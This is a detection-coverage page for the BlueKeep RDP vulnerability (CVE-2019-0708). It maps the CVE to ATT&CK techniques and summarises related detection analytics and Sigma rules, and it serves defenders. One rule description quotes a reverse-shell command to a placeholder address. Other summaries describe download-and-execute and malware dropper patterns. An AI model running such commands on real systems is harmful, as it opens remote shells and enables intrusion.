Coverage › CVE-2019-0708

CVE-2019-0708 Mapped Sigma

Microsoft Remote Desktop Services Remote Code Execution Vulnerability

Vendor / product: Microsoft — Remote Desktop Services
Description (CISA): Microsoft Remote Desktop Services, formerly known as Terminal Service, contains an unspecified vulnerability that allows an unauthenticated attacker to connect to the target system using RDP and send specially crafted requests. Successful exploitation allows for remote code execution. The vulnerability is also known under the moniker of BlueKeep.
Added to KEV: 2021-11-03
Due date: 2022-05-03
Required action: Apply updates per vendor instructions.
Known ransomware use: Known
CWE: CWE-416
CISA notes: https://nvd.nist.gov/vuln/detail/CVE-2019-0708
Elsewhere: cve.org · NVD · CISA KEV · JSON

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

3 mapping objects across 3 techniques. exploitation technique states how the vulnerability is exploited; primary and secondary impact state what exploitation achieves. They are different claims and are labelled as such.

Technique	Mapping type	CTID comment	Status in v19.2
T1133 External Remote Services	exploitation technique	CVE-2019-0708, also known as BlueKeep, is a remote code execution vulnerability present in the Windows Remote Desktop Services. Blue Keep can enable remote unauthenticated attackers to run arbitrary code, or conduct denial of service attacks, as well as potentially take control of vulnerable systems. ref 1 · ref 2	live
T1059.004 Unix Shell	primary impact	CVE-2019-0708, also known as BlueKeep, is a remote code execution vulnerability present in the Windows Remote Desktop Services. Blue Keep can enable remote unauthenticated attackers to run arbitrary code, or conduct denial of service attacks, as well as potentially take control of vulnerable systems. ref 1 · ref 2	live
T1498 Network Denial of Service	secondary impact	CVE-2019-0708, also known as BlueKeep, is a remote code execution vulnerability present in the Windows Remote Desktop Services. Blue Keep can enable remote unauthenticated attackers to run arbitrary code, or conduct denial of service attacks, as well as potentially take control of vulnerable systems. ref 1 · ref 2	live

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1059.004 Unix Shell primary impact

DET0384 Behavioral Detection of Unix Shell Execution
AN1081 Linux
Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.

auditd:SYSCALL execve → DC0032 Process Creation
linux:osquery socket_events → DC0078 Network Traffic Flow
linux:syslog auth.log / secure.log → DC0067 Logon Session Creation

Tunable: ExecutableName UserContext ParentProcess TimeWindow CommandLinePattern

AN1082 macOS
Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.

macos:unifiedlog log stream --predicate 'eventMessage contains "exec"' → DC0032 Process Creation
macos:osquery launchd + process_events → DC0064 Command Execution
macos:syslog system.log, asl.log → DC0029 Script Execution

Tunable: ScriptLocation ParentProcess UserRole

AN1083 ESXi
Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.

esxi:vmkernel DCUI shell start, BusyBox activity → DC0064 Command Execution
esxi:auth Shell login or escalation → DC0067 Logon Session Creation

Tunable: UserContext CommandPattern ShellPath

AN1084 Network Devices
Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.

networkdevice:syslog CLI Command Audit → DC0064 Command Execution
NSM:Flow remote access → DC0082 Network Connection Creation

Tunable: Interface CommandString

Sigma rules tagged `attack.t1059.004` (18)

Axios NPM Compromise Indicators - Linux highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87

Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.

Potentially Suspicious Long Filename Pattern - Linux lowexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 11629c4d-0fe6-465b-be62-b39a1c442aad

Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting. Adjust the threshold of filename length as needed based on your environment.

Techniques: T1059.004 T1027

Suspicious Commands Linux mediumtest

Author: Florian Roth (Nextron Systems) · 2017-12-12 (modified 2022-10-05) · logsource: product=linux service=auditd · 1543ae20-cbdf-4ec1-8d12-7664d667a825

Detects relevant commands often related to malware or hacking activity

Techniques: T1059.004

Suspicious Filename with Embedded Base64 Commands highexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 179b3686-6271-4d87-807d-17d843a8af73

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

Techniques: T1059.004 T1027

AWS EC2 Startup Shell Script Change hightest

Author: faloker · 2020-02-12 (modified 2022-06-07) · logsource: product=aws service=cloudtrail · 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

Techniques: T1059.001 T1059.003 T1059.004

Suspicious Activity in Shell Commands hightest

Author: Florian Roth (Nextron Systems) · 2017-08-21 (modified 2021-11-27) · logsource: product=linux · 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695

Detects suspicious shell commands used in various exploit codes (see references)

Techniques: T1059.004

Equation Group Indicators hightest

Author: Florian Roth (Nextron Systems) · 2017-04-09 (modified 2021-11-27) · logsource: product=linux · 41e5c73d-9983-4b69-bd03-e13b67e9623c

Detects suspicious shell commands used in various Equation Group scripts and tools

Techniques: T1059.004

Suspicious Reverse Shell Command Line hightest

Author: Florian Roth (Nextron Systems) · 2019-04-02 (modified 2021-11-27) · logsource: product=linux · 738d9bcf-6999-4fdb-b4ac-3033037db8ab

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Techniques: T1059.004

Linux Reverse Shell Indicator criticaltest

Author: Florian Roth (Nextron Systems) · 2021-10-16 (modified 2022-12-25) · logsource: product=linux category=network_connection · 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Techniques: T1059.004

JexBoss Command Sequence hightest

Author: Florian Roth (Nextron Systems) · 2017-08-24 (modified 2025-11-22) · logsource: product=linux · 8ec2c8b4-557a-4121-b87c-5dfb3a602fae

Detects suspicious command sequence that JexBoss

Techniques: T1059.004

Axios NPM Compromise Indicators - macOS highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=macos category=process_creation · a09ee860-31b3-4586-8a68-0ebd74ce0e5f

Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.

Techniques: T1195.002 T1059.002 T1059.004 T1105

Suspicious Download and Execute Pattern via Curl/Wget highexperimental

Author: Aayush Gupta · 2025-06-17 · logsource: product=linux category=process_creation · a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

Techniques: T1059.004 T1203

Shell Invocation via Env Command - Linux hightest

Author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.) · 2024-09-02 (modified 2026-01-08) · logsource: product=linux category=process_creation · bed978f8-7f3a-432b-82c5-9286a9b3031a

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Techniques: T1059.004

Nohup Execution mediumtest

Author: Christopher Peacock @SecurePeacock, SCYTHE @scythe_io · 2022-06-06 · logsource: product=linux category=process_creation · e4ffe466-6ff8-48d4-94bd-e32d1a6061e2

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Techniques: T1059.004

Interactive Bash Suspicious Children mediumtest

Author: Florian Roth (Nextron Systems) · 2022-03-14 · logsource: product=linux category=process_creation · ea3ecad2-db86-4a89-ad0b-132a10d2db55

Detects suspicious interactive bash as a parent to rather uncommon child processes

Techniques: T1059.004 T1036

All 18 rules on the technique page →

T1133 External Remote Services exploitation technique

DET0354 Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers
AN1004 Windows
Unusual or unauthorized external remote access attempts (e.g., RDP, VPN, Citrix) → repeated failed logins followed by a successful session from uncommon geolocations or outside business hours → subsequent internal lateral movement or data exfiltration activities.

WinEventLog:Security EventCode=4776, 4625 → DC0002 User Account Authentication
WinEventLog:Application VPN, Citrix, or remote access gateway logs showing external IP addresses → DC0038 Application Log Content
WinEventLog:Sysmon EventCode=3, 22 → DC0082 Network Connection Creation

Tunable: BusinessHours KnownRemoteIPs FailedLogonThreshold GeoIPWhitelist TimeWindow

AN1005 Linux
Repeated SSH, VPN, or RDP gateway authentication attempts from external IPs → subsequent successful logon → remote shell or lateral movement activity (e.g., scp/sftp).

auditd:SYSCALL ssh logins or execve of remote commands → DC0088 Logon Session Metadata
NSM:Connections Failed password or accepted password for SSH users → DC0038 Application Log Content
NSM:Flow connection: Inbound connections to SSH or VPN ports → DC0082 Network Connection Creation

Tunable: KnownSSHClients FailedLogonThreshold TimeWindow

AN1006 macOS
Unexpected inbound or outbound VNC/SSH/Screen Sharing connections from external sources → repeated failed logins followed by success → remote interactive sessions or abnormal file transfers.

macos:unifiedlog Remote login (ssh) or screen sharing authentication attempts → DC0088 Logon Session Metadata
macos:unifiedlog Inbound connections to VNC/SSH ports → DC0082 Network Connection Creation
PF:Logs External traffic to remote access services → DC0078 Network Traffic Flow

Tunable: KnownVNCServers TimeWindow

AN1007 Containers
Connections to exposed container services (e.g., Docker API, Kubernetes API server) from unauthorized external IPs → abnormal container creation/start → lateral activity within cluster nodes.

ApplicationLog:API Docker/Kubernetes API access from external sources → DC0038 Application Log Content
kubernetes:audit Unauthorized container creation or kubelet exec logs → DC0088 Logon Session Metadata
NSM:Flow External access to container ports (2375, 6443) → DC0082 Network Connection Creation

Tunable: AllowedCIDRs TimeWindow

Sigma rules tagged `attack.t1133` (20)

Remote Access Tool - Team Viewer Session Started On Linux Host lowtest

Author: Josh Nickels, Qi Nan · 2024-03-11 · logsource: product=linux category=process_creation · 1f6b8cd4-3e60-47cc-b282-5aa1cbc9182d

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Techniques: T1133

External Remote RDP Logon from Public IP mediumtest

Author: Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity) · 2023-01-19 (modified 2024-03-11) · logsource: product=windows service=security · 259a9cdf-c4dd-4fa2-b243-2269e5ab18a2

Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.

Techniques: T1133 T1078 T1110

FortiGate - New VPN SSL Web Portal Added mediumexperimental

Author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber) · 2025-11-01 · logsource: product=fortigate service=event · 2bfb6216-0c31-4d20-8501-2629b29a3fa2

Detects the addition of a VPN SSL Web Portal on a Fortinet FortiGate Firewall. This behavior was observed in pair with modification of VPN SSL settings.

Techniques: T1133

OpenCanary - Telnet Login Attempt hightest

Author: Security Onion Solutions · 2024-03-08 · logsource: product=opencanary category=application · 512cff7a-683a-43ad-afe0-dd398e872f36

Detects instances where a Telnet service on an OpenCanary node has had a login attempt.

Techniques: T1133 T1078

OpenCanary - RDP New Connection Attempt highexperimental

Author: Marco Pedrinazzi (@pedrinazziM) · 2026-01-06 · logsource: product=opencanary category=application · 598290cf-5932-45cd-9123-be1e05ab4f2e

Detects instances where an RDP service on an OpenCanary node has had a connection attempt.

Techniques: T1133 T1021.001

Potential Exploitation of GoAnywhere MFT Vulnerability highexperimental

Author: MSFT (idea), Swachchhanda Shrawan Poudel (Nextron Systems) · 2025-10-07 · logsource: product=windows category=process_creation · 6c76b3d0-afe4-4870-9443-ffe6773c5fef

Detects suspicious command execution by child processes of the GoAnywhere Managed File Transfer (MFT) application, which may indicate exploitation such as CVE-2025-10035. This behavior is indicative of post-exploitation activity related to CVE-2025-10035, as observed in campaigns by the threat actor Storm-1175.

Techniques: T1190 T1059.001 T1133

CVE tags: CVE-2025-10035

Remote Access Tool - ScreenConnect Installation Execution mediumtest

Author: Florian Roth (Nextron Systems) · 2021-02-11 (modified 2024-02-26) · logsource: product=windows category=process_creation · 75bfe6e6-cd8e-429e-91d3-03921e1d7962

Detects ScreenConnect program starts that establish a remote access to a system.

Techniques: T1133

External Remote SMB Logon from Public IP hightest

Author: Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity) · 2023-01-19 (modified 2024-03-11) · logsource: product=windows service=security · 78d5cab4-557e-454f-9fb9-a222bd0d5edc

Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.

Techniques: T1133 T1078 T1110

FortiGate - VPN SSL Settings Modified mediumexperimental

Author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber) · 2025-11-01 · logsource: product=fortigate service=event · 8b5dacf2-aeb7-459d-b133-678eb696d410

Detects the modification of VPN SSL Settings (for example, the modification of authentication rules). This behavior was observed in pair with the addition of a VPN SSL Web Portal.

Techniques: T1133

Unusual File Deletion by Dns.exe hightest

Author: Tim Rauch (Nextron Systems), Elastic (idea) · 2022-09-27 (modified 2023-02-15) · logsource: product=windows category=file_delete · 8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0

Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Techniques: T1133

Unusual File Modification by dns.exe hightest

Author: Tim Rauch (Nextron Systems), Elastic (idea) · 2022-09-27 · logsource: product=windows category=file_change · 9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3

Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Techniques: T1133

Unusual Child Process of dns.exe hightest

Author: Tim Rauch, Elastic (idea) · 2022-09-27 (modified 2023-02-05) · logsource: product=windows category=process_creation · a4e3d776-f12e-42c2-8510-9e6ed1f43ec3

Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

Techniques: T1133

Remote Access Tool - Team Viewer Session Started On Windows Host lowtest

Author: Josh Nickels, Qi Nan · 2024-03-11 · logsource: product=windows category=process_creation · ab70c354-d9ac-4e11-bbb6-ec8e3b153357

Techniques: T1133

Running Chrome VPN Extensions via the Registry 2 VPN Extension hightest

Author: frack113 · 2021-12-28 (modified 2023-08-17) · logsource: product=windows category=registry_set · b64a026b-8deb-4c1d-92fd-98893209dff1

Running Chrome VPN Extensions via the Registry install 2 vpn extension

Techniques: T1133

OpenCanary - SSH New Connection Attempt hightest

Author: Security Onion Solutions · 2024-03-08 · logsource: product=opencanary category=application · cd55f721-5623-4663-bd9b-5229cab5237d

Detects instances where an SSH service on an OpenCanary node has had a connection attempt.

Techniques: T1133 T1021 T1078

All 20 rules on the technique page →

T1498 Network Denial of Service secondary impact

DET0518 Behavioral Detection of T1498 – Network Denial of Service Across Platforms
AN1434 Windows
Executable or script generating large outbound network traffic targeting remote hosts or known amplification ports

WinEventLog:Sysmon EventCode=3, 22 → DC0082 Network Connection Creation
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation

Tunable: ThresholdEventVolume DestinationDiversity

AN1435 Linux
Flooding tools like hping3 or nping sending large volumes of packets across multiple ports or IPs

auditd:SYSCALL Execution of network stress tools or anomalies in socket/syscall behavior → DC0032 Process Creation
NSM:Flow High volume flows with incomplete TCP sessions or single-packet bursts → DC0078 Network Traffic Flow

Tunable: PacketRateThreshold

Sigma rules tagged `attack.t1498` (3)

Deployment Deleted From Kubernetes Cluster lowtest

Author: Leo Tsaousis (@laripping) · 2024-03-26 · logsource: product=kubernetes category=application service=audit · 40967487-139b-4811-81d9-c9767a92aa5a

Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations.

Techniques: T1498

OpenCanary - NTP Monlist Request hightest

Author: Security Onion Solutions · 2024-03-08 · logsource: product=opencanary category=application · 7cded4b3-f09e-405a-b96f-24248433ba44

Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.

Techniques: T1498

Potential BlackByte Ransomware Activity hightest

Author: Florian Roth (Nextron Systems) · 2022-02-25 (modified 2023-02-08) · logsource: product=windows category=process_creation · 999e8307-a775-4d5f-addc-4855632335be

Detects command line patterns used by BlackByte ransomware in different operations

Techniques: T1485 T1498 T1059.001 T1140

Sigma rules tagged with this CVE directly

2 rules carry cve.2019-0708.

Scanner PoC for CVE-2019-0708 RDP RCE Vuln hightest

Author: Florian Roth (Nextron Systems), Adam Bradbury (idea) · 2019-06-02 (modified 2022-12-25) · logsource: product=windows service=security · 8400629e-79a9-4737-b387-5db940ab2367

Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep

Techniques: T1210

CVE tags: CVE-2019-0708

Potential RDP Exploit CVE-2019-0708 mediumtest

Author: Lionel PRAT, Christophe BROCAS, @atc_project (improvements) · 2019-05-24 (modified 2022-12-25) · logsource: product=windows service=system · aaa5b30d-f418-420b-83a0-299cb6024885

Detect suspicious error on protocol RDP, potential CVE-2019-0708

Techniques: T1210

CVE tags: CVE-2019-0708

CVE-2019-0708 Mapped Sigma

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1059.004 Unix Shell primary impact

Sigma rules tagged attack.t1059.004 (18)

T1133 External Remote Services exploitation technique

Sigma rules tagged attack.t1133 (20)

T1498 Network Denial of Service secondary impact

Sigma rules tagged attack.t1498 (3)

Sigma rules tagged with this CVE directly

Sigma rules tagged `attack.t1059.004` (18)

Sigma rules tagged `attack.t1133` (20)

Sigma rules tagged `attack.t1498` (3)